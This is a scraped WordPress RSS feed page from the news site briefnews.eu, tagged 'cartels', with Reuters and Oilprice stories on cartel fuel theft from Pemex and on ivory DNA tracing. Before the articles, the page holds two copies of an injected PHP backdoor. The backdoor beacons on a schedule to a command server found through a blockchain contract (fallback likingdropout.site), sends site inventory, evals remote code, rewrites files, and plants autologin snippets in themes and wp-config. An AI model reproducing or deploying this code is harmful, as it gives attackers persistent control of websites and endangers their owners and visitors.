// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); cartels – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 20 Sep 2018 00:34:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png cartels – Brief News https://briefnews.eu 32 32 Wildlife Detective Uses DNA to Link Stolen Ivory to Big Cartels https://briefnews.eu/wildlife-detective-uses-dna-to-link-stolen-ivory-to-big-cartels/ https://briefnews.eu/wildlife-detective-uses-dna-to-link-stolen-ivory-to-big-cartels/#respond Thu, 20 Sep 2018 00:34:27 +0000 http://briefnews.eu/wildlife-detective-uses-dna-to-link-stolen-ivory-to-big-cartels/ A new method looks at the DNA of elephant tusks to pinpoint the crime networks behind disparate stashes of poached ivory.


https://media.wired.com/photos/5ba19bbc5cee1848e576bc0b/master/pass/tusks_18012239705235.jpg

]]> https://briefnews.eu/wildlife-detective-uses-dna-to-link-stolen-ivory-to-big-cartels/feed/ 0 The US’s top military-intelligence official described how the war on Mexico’s cartels has produced even more violence https://briefnews.eu/the-uss-top-military-intelligence-official-described-how-the-war-on-mexicos-cartels-has-produced-even-more-violence/ https://briefnews.eu/the-uss-top-military-intelligence-official-described-how-the-war-on-mexicos-cartels-has-produced-even-more-violence/#respond Mon, 19 Feb 2018 21:55:45 +0000 http://briefnews.eu/the-uss-top-military-intelligence-official-described-how-the-war-on-mexicos-cartels-has-produced-even-more-violence/ The US’s top military-intelligence official described how the war on Mexico’s cartels has produced even more violence

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]]> https://briefnews.eu/the-uss-top-military-intelligence-official-described-how-the-war-on-mexicos-cartels-has-produced-even-more-violence/feed/ 0 Mexico’s cartels are ditching drugs for oil https://briefnews.eu/mexicos-cartels-are-ditching-drugs-for-oil/ https://briefnews.eu/mexicos-cartels-are-ditching-drugs-for-oil/#respond Mon, 29 Jan 2018 11:34:11 +0000 http://briefnews.eu/mexicos-cartels-are-ditching-drugs-for-oil/ Mexico’s energy reform that ended a state monopoly has so far fared fairly well in the upstream sector, with oil majors snatching up offshore oil blocks in auctions.

Read more

© Lucy Nicholson

In the downstream, however, aging refineries built before 1980 have been bleeding cash for years and made Mexico import increasing volumes of refined products to meet growing demand.

Operational and investment troubles aside, refineries in Mexico are bleeding as drug cartels have been racketeering refinery workers to help them tap storage facilities, trucks, and pipelines in a lucrative side business for the local narcos — fuel theft — Reuters reporter Gabriel Stargardter wrote in an investigative article this week.  

Fuel theft deprives Mexico of more than $ 1 billion in state revenues every year. The security issues and rampant thefts scare off Mexico’s old and inefficient refineries even after the opening of the energy sector to private investment. Crackdowns on the drug cartels have prompted the narco lords to seek a less risky but lucrative source of revenue — fuels — as everyone buys gasoline, and not everyone buys drugs, said officials who spoke to Reuters’ Stargardter.

The drug cartels pose a threat to the refinery operations of state oil firm Pemex, which owns the nation’s six refineries. The number of illegal taps discovered along Mexico’s fuel lines increased fivefold between 2011 and 2016, while costs to repair them increased tenfold, to the equivalent of $ 95 million, according to a report from the country’s federal auditor, as quoted in Reuters.

The number of identified illegal taps of pipelines in Mexico jumped from around 710 in 2010 to some 6,260 in 2016, The Boston Consulting Group (BCG) said in an analysis in July 2017, citing figures by Pemex.

Read more on Oilprice.com: The Blockchain Revolution Is Heading To Space

Pemex has taken some measures to try to counter the fuel thefts, and in October 2017 it said that it had terminated the contracts of several employees of its Storage and Distribution Terminal at Salamanca, “as they participated in some of the illegal activities.”  

Read more

© Jim Urquhart

Fuel thefts orchestrated by the drug cartels add to the many other problems that Mexico’s refinery industry has been facing in recent years. Lack of investment into decades-old refineries has reduced Mexico’s refinery production. The downstream industry is also in need of investments to reconfigure the refineries that were built to process light crude oil to be able to also process heavy crude from oil fields currently in production. 

The six refineries in Mexico have a combined refining capacity of 1.640 million bpd, but they operated at 59 percent of their total capacity in 2016, Platts said in a report on Mexico’s oil industry in August 2017. In December 2016, refinery production was 798,000 bpd, the lowest monthly production in 24 years, according to Platts.

In its 2017-2021 business plan, Pemex vowed to seek investments through joint ventures to reconfigure refineries. During the downturn, the Mexican state company slashed investments in all segments by 48 percent between 2014 and 2016.

Pemex hasn’t had much success in attracting international investment into its refining sector, due to the old infrastructure and some political and security concerns.

“Mexico’s own refinery capacity has not kept pace with the increase in domestic product demand and, in addition, some of the existing capacity is not well adapted to process Mexico’s increasingly heavy crude slate,” the International Energy Agency (IEA) said in a Mexico Energy Outlook in 2016.

Rising demand and dropping crude oil production have led to Mexico tripling its net imports of gasoline and diesel since 2000, mostly with imports from the U.S., the IEA said.

Read more on Oilprice.com: Largest Oil Consumers Not In A Rush To Hedge Crude

US exports of refined petroleum products account for more than 50 percent of Mexico’s domestic gasoline consumption, according to U.S. government figures.

The IEA doesn’t expect new stand-alone refinery capacity to come online in Mexico in the next 25 years. But investments of around $ 20 billion could improve equipment and units at existing refineries, and push refinery utilization rates to around 90 percent by 2040.

Yet, Mexico is struggling to attract investment into its inefficient refining industry, due to ageing infrastructure. Security concerns with local narco lords wanting a slice of the pie and sapping fuel lines surely aren’t helping the current Mexican downstream industry and its future prospects.

This article was originally published on Oilprice.com

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]]> https://briefnews.eu/mexicos-cartels-are-ditching-drugs-for-oil/feed/ 0 Mexican drug cartels are targeting a multibillion-dollar industry https://briefnews.eu/mexican-drug-cartels-are-targeting-a-multibillion-dollar-industry/ https://briefnews.eu/mexican-drug-cartels-are-targeting-a-multibillion-dollar-industry/#respond Thu, 25 Jan 2018 04:12:36 +0000 http://briefnews.eu/mexican-drug-cartels-are-targeting-a-multibillion-dollar-industry/ Employees of Mexico's national oil company Pemex recover stolen fuel stored in water tanks at a plot in Tlajomulco de Zuniga, in Jalisco state, Mexico, November 15, 2017. Picture taken November 15, 2017. REUTERS/Fernando CarranzaThomson Reuters

SALAMANCA, Mexico (Reuters) – The first call, from someone claiming to belong to the Michoacan Family drug cartel, came in February 2015.

“They said they knew who I was and where I lived,” said Alberto Arredondo, who got the call at work as a pump technician at an oil refinery in the central Mexican city of Salamanca. “They wanted information.”

At first, Arredondo hung up.

“But they were insistent,” he said, calling back and demanding details of when fuels would be pumped and through which pipelines.

Over the next two years, Arredondo said, he would be hounded, kidnapped, pistol-whipped and stabbed so severely that surgeons removed his gall bladder. In December 2016, he fled to Canada, where he now seeks asylum from gangs that steal fuel from Salamanca and five other refineries operated by Pemex, the state-owned oil company.

Fuel theft is fast becoming one of Mexico’s most pressing economic and security dilemmas, sapping more than $ 1 billion in annual revenue from state coffers, terrorizing workers and deterring private investment in aging refineries that the government, following a 2014 energy reform, hoped instead would be thriving with foreign capital.

Because of government offensives that toppled narco kingpins in recent years, Mexico’s drug cartels have splintered and are eager for new sources of revenue. Now their increasingly dominant role as fuel thieves pits two of the country’s biggest industries — narcotics and oil — against one another.

mexico oilReuters

The cash-rich cartels, believed by the Mexican government to generate well over $ 21 billion each year, are an increasing threat to Pemex, which in 2016 reported revenue of about $ 52 billion and generates about a fifth of government income.

“The business is more profitable than drug trafficking because it implies less risk,” said Georgina Trujillo, a ruling party congresswoman who heads the lower house energy commission.

“You don’t have to risk crossing the border to look for a market,” she added. “We all consume gasoline. We don’t all consume drugs.”

Pemex did not respond to detailed questions from Reuters about the cartels and fuel theft. Among other questions, Reuters asked about the cartels’ impact on the refineries, Pemex’s security measures and how the company responds to extortion and violence against its employees.

Mexico cartel fuel oil theftReuters

One senior Pemex refining executive, who asked not to be identified, said, “We worry about the influence of organized crime,” but would not discuss the issue further.

Fuel theft is not new or unique to Mexico. But cartels are taking it to calamitous new dimensions and, in the process, bolstering their bottom line.

“Fuel theft just makes these groups more powerful,” according to one senior official from the US Drug Enforcement Administration, who asked not to be identified.

By targeting refineries, already suffering from a lack of investment, Mexico’s most notorious criminals gain access to nerve centers for much of the country’s fuel supply.

That threatens an oil industry that accounts for about 8% of Mexico’s economy and creates yet more uncertainty for a country already reeling from US threats to dismantle the North American Free Trade Agreement.

“It hurts the national coffers, weakens national security and hinders the reform and development of Mexico’s energy market,” said Gustavo Mohar, a former Mexican energy and intelligence official.

Bleeding money and fuel

Between 2011 and 2016, the number of unauthorized taps discovered on Mexico’s fuel lines nearly quintupled, according to a recent report by the federal auditor. Repair costs surged almost tenfold, to 1.77 billion pesos ($ 95 million).

A May 2017 study, commissioned by the national energy regulator and obtained by Reuters via a freedom of information request, found that thieves, between 2009 and 2016, had tapped pipelines roughly every 1.4 kilometers (0.86 miles) along Pemex’s approximately 14,000 km pipeline network.

After decades of poor upkeep, the refineries are bleeding money as well as fuel. In addition to unscheduled outages, which cause big operational losses, maintenance problems have led to fatal accidents, including fires and explosions.

Together, the refineries have accumulated annual operating losses of about $ 5 billion in recent years. Production of refined products, meanwhile, fell to just over 700,000 barrels per day in 2017. That’s about half the production levels at the refineries’ peak in 1994.

The 2014 energy reform is the landmark economic initiative of President Enrique Pena Nieto. It ended more than seven decades of monopoly of the oil sector by Pemex.

